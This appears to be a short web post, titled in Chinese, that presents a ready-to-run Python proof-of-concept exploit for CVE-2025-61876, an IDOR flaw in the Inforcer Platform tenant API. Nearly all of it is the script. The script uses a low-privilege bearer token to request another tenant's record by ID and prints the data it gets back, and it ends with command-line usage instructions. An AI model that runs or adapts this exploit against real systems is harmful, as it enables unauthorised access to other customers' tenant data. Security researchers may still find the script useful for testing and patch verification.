CVE-2025-61876 Inforcer Platform IDOR漏洞可越权访问租户信息

import requests import sys # CVE-2025-61876 IDOR PoC for Inforcer Platform # Target: /tenants/{id} API endpoint def test_idor(target_url, valid_tenant_id, target_tenant_id, auth_token): """ Test for IDOR vulnerability in Inforcer Platform Args: target_url: Base URL of the target valid_tenant_id: A valid tenant ID you have access to target_tenant_id: A tenant ID you want to access (victim) auth_token: Authentication token for the low-privilege user """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } # Legitimate request with own tenant ID legitimate_url = f"{target_url}/tenants/{valid_tenant_id}" resp1 = requests.get(legitimate_url, headers=headers) print(f"[*] Legitimate request to /tenants/{valid_tenant_id}: {resp1.status_code}") # Malicious request - accessing different tenant's data malicious_url = f"{target_url}/tenants/{target_tenant_id}" resp2 = requests.get(malicious_url, headers=headers) print(f"[*] Malicious request to /tenants/{target_tenant_id}: {resp2.status_code}") if resp2.status_code == 200 and resp2.text != resp1.text: print("[!] IDOR VULNERABILITY CONFIRMED!") print(f"[!] Retrieved data from tenant {target_tenant_id}") print(resp2.text) return True return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-61876_poc.py <url> <valid_id> <target_id> <token>") sys.exit(1) target = sys.argv[1] valid_id = sys.argv[2] target_id = sys.argv[3] token = sys.argv[4] test_idor(target, valid_id, target_id, token)